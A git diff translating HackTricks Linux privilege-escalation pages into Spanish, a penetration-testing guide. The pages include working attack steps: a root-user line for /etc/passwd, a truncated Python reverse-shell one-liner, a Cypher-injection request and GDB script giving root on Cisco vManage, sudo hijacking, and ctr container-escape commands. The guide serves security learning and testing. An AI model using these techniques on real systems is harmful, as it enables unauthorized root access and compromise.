necessary: **--min-rtt-timeout** _**
#Wait until it is executed /tmp/bash -p ``` -Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti. +Si el script ejecutado por root utiliza un **directorio donde tienes acceso total**, tal vez podría ser útil eliminar esa carpeta y **crear un enlace simbólico a otra** que sirva un script controlado por ti. ```bash ln -d -s
``` @@ -368,7 +368,7 @@ Por ejemplo, para **monitorear cada 0.1s durante 1 minuto**, **ordenar por los c ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que se inicie). +**También puedes usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (esto monitoreará y listará cada proceso que inicie). ### Trabajos cron invisibles @@ -385,9 +385,9 @@ Por ejemplo, crea tu puerta trasera dentro del archivo .service con **`ExecStart ### Binarios de servicio escribibles -Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por los servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas. +Ten en cuenta que si tienes **permisos de escritura sobre los binarios que son ejecutados por servicios**, puedes cambiarlos por puertas traseras para que cuando los servicios se vuelvan a ejecutar, las puertas traseras sean ejecutadas. -### PATH de systemd - Rutas relativas +### systemd PATH - Rutas relativas Puedes ver el PATH utilizado por **systemd** con: ```bash @@ -405,7 +405,7 @@ Luego, crea un **ejecutable** con el **mismo nombre que la ruta relativa del bin ## **Temporizadores** -Los **Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos de `**.service**`. Los **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona. +**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. **Temporizadores** se pueden usar como una alternativa a cron, ya que tienen soporte incorporado para eventos de tiempo calendario y eventos de tiempo monótono y se pueden ejecutar de forma asíncrona. Puedes enumerar todos los temporizadores con: ```bash @@ -485,7 +485,7 @@ Ten en cuenta que puede haber algunos **sockets escuchando solicitudes HTTP** (_ ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si el socket **responde con una** solicitud HTTP, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**. +Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y tal vez **explotar alguna vulnerabilidad**. ### Socket de Docker Escribible @@ -566,7 +566,7 @@ D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que pe El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, reminiscentes de **sockets de dominio UNIX mejorados**. Además, ayuda en la transmisión de eventos o señales, fomentando una integración fluida entre los componentes del sistema. Por ejemplo, una señal de un demonio Bluetooth sobre una llamada entrante puede hacer que un reproductor de música se silencie, mejorando la experiencia del usuario. Además, D-Bus soporta un sistema de objetos remotos, simplificando las solicitudes de servicio y las invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. -D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política coincidentes. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos. +D-Bus opera bajo un **modelo de permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisiones de señales, etc.) basados en el efecto acumulativo de las reglas de política que coinciden. Estas políticas especifican interacciones con el bus, permitiendo potencialmente la escalación de privilegios a través de la explotación de estos permisos. Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando los permisos para que el usuario root posea, envíe y reciba mensajes de `fi.w1.wpa_supplicant1`. @@ -579,7 +579,7 @@ Las políticas sin un usuario o grupo especificado se aplican de manera universa ``` -**Aprende cómo enumerar y explotar una comunicación D-Bus aquí:** +**Aprende a enumerar y explotar una comunicación D-Bus aquí:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -621,7 +621,7 @@ Siempre verifica los servicios de red que se están ejecutando en la máquina co ``` ### Sniffing -Verifica si puedes esnifar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales. +Verifica si puedes interceptar tráfico. Si puedes, podrías ser capaz de obtener algunas credenciales. ``` timeout 1 tcpdump ``` @@ -683,7 +683,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Contraseñas conocidas -Si **conoces alguna contraseña** del entorno, **intenta iniciar sesión como cada usuario** usando la contraseña. +Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. ### Su Brute @@ -694,7 +694,7 @@ Si no te importa hacer mucho ruido y los binarios `su` y `timeout` están presen ### $PATH -Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH**, podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH. +Si encuentras que puedes **escribir dentro de alguna carpeta del $PATH** podrías ser capaz de escalar privilegios **creando una puerta trasera dentro de la carpeta escribible** con el nombre de algún comando que va a ser ejecutado por un usuario diferente (idealmente root) y que **no se carga desde una carpeta que esté ubicada antes** de tu carpeta escribible en $PATH. ### SUDO y SUID @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Cuando te encuentres con un binario con permisos **SUID** que parece inusual, es una buena práctica verificar si está cargando archivos **.so** correctamente. Esto se puede comprobar ejecutando el siguiente comando: +Al encontrar un binario con permisos **SUID** que parece inusual, es una buena práctica verificar si está cargando archivos **.so** correctamente. Esto se puede comprobar ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -924,7 +924,7 @@ Requisitos para escalar privilegios: Si se cumplen todos estos requisitos, **puedes escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`): +- La **primera explotación** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el token de sudo en tu sesión** (no obtendrás automáticamente un shell root, haz `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -940,7 +940,7 @@ bash exploit_v2.sh bash exploit_v3.sh sudo su ``` -### /var/run/sudo/ts/\ +### /var/run/sudo/ts/\ Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta, puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un token de sudo para un usuario y PID**.\ Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios de sudo** sin necesidad de conocer la contraseña haciendo: @@ -975,7 +975,7 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **usuario generalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y tienes una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable de sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo, añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, tu ejecutable de sudo sea ejecutado. +Si sabes que un **usuario generalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y tienes una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable de sudo** que ejecutará tu código como root y luego el comando del usuario. Luego, **modifica el $PATH** del contexto del usuario (por ejemplo, añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, tu ejecutable de sudo se ejecute. Ten en cuenta que si el usuario utiliza una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) @@ -1058,7 +1058,7 @@ El bit de **"lectura"** implica que el usuario puede **listar** los **archivos** ## ACLs -Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios o parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles se pueden encontrar [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios o parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Se pueden encontrar más detalles [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Otorgar** al usuario "kali" permisos de lectura y escritura sobre un archivo: ```bash @@ -1091,11 +1091,11 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## secuestro de sesiones de tmux +## secuestro de sesiones tmux Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado. -**Listar sesiones de tmux** +**Listar sesiones tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1134,7 +1134,7 @@ Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado - `yes`: el root puede iniciar sesión usando contraseña y clave privada - `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada -- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos +- `forced-commands-only`: el root puede iniciar sesión solo usando clave privada y si se especifican las opciones de comandos - `no`: no ### AuthorizedKeysFile @@ -1156,7 +1156,7 @@ ForwardAgent yes ``` Nota que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las claves (lo cual es un problema de seguridad). -El archivo `/etc/ssh_config` puede **anular** estas **opciones** y permitir o denegar esta configuración.\ +El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (el valor predeterminado es permitir). Si encuentras que el Forward Agent está configurado en un entorno, lee la siguiente página ya que **puedes abusar de ello para escalar privilegios**: @@ -1173,11 +1173,11 @@ El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts qu ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil extraño, debes revisarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil extraño, debe revisarlo en busca de **detalles sensibles**. ### Archivos Passwd/Shadow -Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puedes leer**los para ver **si hay hashes** dentro de los archivos: +Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden tener un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrar todos ellos** y **verificar si puede leer** los archivos para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1200,7 +1200,7 @@ Luego agrega el usuario `hacker` y agrega la contraseña generada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` @@ -1231,7 +1231,7 @@ Las siguientes carpetas pueden contener copias de seguridad o información inter ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Archivos en ubicaciones extrañas/propietarios +### Ubicaciones extrañas/Archivos en propiedad ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1308,8 +1308,8 @@ Para **leer los registros, el grupo** [**adm**](interesting-groups-linux-pe/#adm ``` ### Búsqueda de Credenciales Genéricas/Regex -También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los registros, o expresiones regulares de hashes.\ -No voy a enumerar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también verificar IPs y correos electrónicos dentro de los logs, o expresiones regulares de hashes.\ +No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes revisar los últimos chequeos que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Archivos Escribibles @@ -1326,7 +1326,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Una vulnerabilidad en `logrotate` permite a los usuarios con **permisos de escritura** en un archivo de registro o sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante verificar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de registros. > [!NOTE] -> Esta vulnerabilidad afecta a la versión `3.18.0` de `logrotate` y versiones anteriores. +> Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores. Más información detallada sobre la vulnerabilidad se puede encontrar en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). @@ -1366,7 +1366,7 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de ser nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escapando de Shells restringidos +### Escape de Shells restringidos {{#ref}} escaping-from-limited-bash.md diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..a6422e2dd 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -6,16 +6,13 @@ (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: - +Después de investigar un poco en alguna [documentación](http://66.218.245.39/doc/html/rn03re18.html) relacionada con `confd` y los diferentes binarios (accesibles con una cuenta en el sitio web de Cisco), encontramos que para autenticar el socket IPC, utiliza un secreto ubicado en `/etc/confd/confd_ipc_secret`: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +¿Recuerdas nuestra instancia de Neo4j? Está ejecutándose con los privilegios del usuario `vmanage`, lo que nos permite recuperar el archivo utilizando la vulnerabilidad anterior: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +El programa `confd_cli` no soporta argumentos de línea de comandos, pero llama a `/usr/bin/confd_cli_user` con argumentos. Así que podríamos llamar directamente a `/usr/bin/confd_cli_user` con nuestro propio conjunto de argumentos. Sin embargo, no es legible con nuestros privilegios actuales, así que tenemos que recuperarlo del rootfs y copiarlo usando scp, leer la ayuda y usarlo para obtener el shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +El blog¹ del equipo synacktiv describió una forma elegante de obtener un shell root, pero la advertencia es que requiere obtener una copia de `/usr/bin/confd_cli_user`, que solo es legible por root. Encontré otra forma de escalar a root sin tales complicaciones. +Cuando desensamblé el binario `/usr/bin/confd_cli`, observé lo siguiente: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +Cuando ejecuto “ps aux”, observé lo siguiente (_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +Hipoteticé que el programa “confd_cli” pasa el ID de usuario y el ID de grupo que recopiló del usuario conectado a la aplicación “cmdptywrapper”. -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +Mi primer intento fue ejecutar “cmdptywrapper” directamente y suministrarle `-g 0 -u 0`, pero falló. Parece que se creó un descriptor de archivo (-i 1015) en algún momento y no puedo falsificarlo. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +Como se mencionó en el blog de synacktiv (último ejemplo), el programa `confd_cli` no soporta argumentos de línea de comandos, pero puedo influir en él con un depurador y, afortunadamente, GDB está incluido en el sistema. -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +Creé un script de GDB donde forcé a la API `getuid` y `getgid` a devolver 0. Dado que ya tengo privilegios de “vmanage” a través de la RCE de deserialización, tengo permiso para leer directamente el archivo `/etc/confd/confd_ipc_secret`. root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +Salida de la consola: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..96e1d8b92 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,10 +1,10 @@ -# Containerd (ctr) Privilege Escalation +# Escalación de privilegios de Containerd (ctr) {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Información básica -Go to the following link to learn **what is containerd** and `ctr`: +Ve al siguiente enlace para aprender **qué es containerd** y `ctr`: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,38 +12,30 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +si encuentras que un host contiene el comando `ctr`: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +Puedes listar las imágenes: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +Y luego **ejecuta una de esas imágenes montando la carpeta raíz del host en ella**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +Ejecuta un contenedor privilegiado y escapa de él.\ +Puedes ejecutar un contenedor privilegiado como: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +Luego puedes usar algunas de las técnicas mencionadas en la siguiente página para **escapar de ella abusando de capacidades privilegiadas**: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..72bf073a4 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -2,38 +2,35 @@ {{#include ../../banners/hacktricks-training.md}} -## **GUI enumeration** +## **Enumeración de GUI** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +D-Bus se utiliza como el mediador de comunicaciones entre procesos (IPC) en entornos de escritorio de Ubuntu. En Ubuntu, se observa la operación concurrente de varios buses de mensajes: el bus del sistema, utilizado principalmente por **servicios privilegiados para exponer servicios relevantes en todo el sistema**, y un bus de sesión para cada usuario conectado, exponiendo servicios relevantes solo para ese usuario específico. El enfoque aquí está principalmente en el bus del sistema debido a su asociación con servicios que se ejecutan con privilegios más altos (por ejemplo, root) ya que nuestro objetivo es elevar privilegios. Se observa que la arquitectura de D-Bus emplea un 'enrutador' por bus de sesión, que es responsable de redirigir los mensajes de los clientes a los servicios apropiados según la dirección especificada por los clientes para el servicio con el que desean comunicarse. -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +Los servicios en D-Bus se definen por los **objetos** y **interfaces** que exponen. Los objetos pueden compararse con instancias de clase en lenguajes OOP estándar, con cada instancia identificada de manera única por una **ruta de objeto**. Esta ruta, similar a una ruta de sistema de archivos, identifica de manera única cada objeto expuesto por el servicio. Una interfaz clave para fines de investigación es la interfaz **org.freedesktop.DBus.Introspectable**, que presenta un único método, Introspect. Este método devuelve una representación XML de los métodos, señales y propiedades soportados por el objeto, con un enfoque aquí en los métodos mientras se omiten propiedades y señales. +Para la comunicación con la interfaz D-Bus, se emplearon dos herramientas: una herramienta CLI llamada **gdbus** para la invocación fácil de métodos expuestos por D-Bus en scripts, y [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), una herramienta GUI basada en Python diseñada para enumerar los servicios disponibles en cada bus y mostrar los objetos contenidos dentro de cada servicio. ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +En la primera imagen se muestran los servicios registrados con el bus del sistema D-Bus, con **org.debin.apt** específicamente destacado después de seleccionar el botón del Bus del Sistema. D-Feet consulta este servicio para objetos, mostrando interfaces, métodos, propiedades y señales para los objetos elegidos, como se ve en la segunda imagen. También se detalla la firma de cada método. -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +Una característica notable es la visualización del **ID de proceso (pid)** y la **línea de comandos** del servicio, útil para confirmar si el servicio se ejecuta con privilegios elevados, lo cual es importante para la relevancia de la investigación. -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**D-Feet también permite la invocación de métodos**: los usuarios pueden ingresar expresiones de Python como parámetros, que D-Feet convierte a tipos de D-Bus antes de pasarlos al servicio. -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +Sin embargo, tenga en cuenta que **algunos métodos requieren autenticación** antes de permitirnos invocarlos. Ignoraremos estos métodos, ya que nuestro objetivo es elevar nuestros privilegios sin credenciales en primer lugar. -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +También tenga en cuenta que algunos de los servicios consultan a otro servicio D-Bus llamado org.freedeskto.PolicyKit1 si se debe permitir a un usuario realizar ciertas acciones o no. -## **Cmd line Enumeration** +## **Enumeración de línea de comandos** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### Listar objetos de servicio +Es posible listar las interfaces D-Bus abiertas con: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### Conexiones -#### Connections +[De wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Cuando un proceso establece una conexión a un bus, el bus asigna a la conexión un nombre de bus especial llamado _nombre de conexión único_. Los nombres de bus de este tipo son inmutables; se garantiza que no cambiarán mientras la conexión exista y, lo que es más importante, no se pueden reutilizar durante la vida del bus. Esto significa que ninguna otra conexión a ese bus tendrá jamás asignado un nombre de conexión único, incluso si el mismo proceso cierra la conexión al bus y crea una nueva. Los nombres de conexión únicos son fácilmente reconocibles porque comienzan con el carácter de dos puntos, que de otro modo está prohibido. -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### Información del Objeto de Servicio +Luego, puedes obtener información sobre la interfaz con: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - 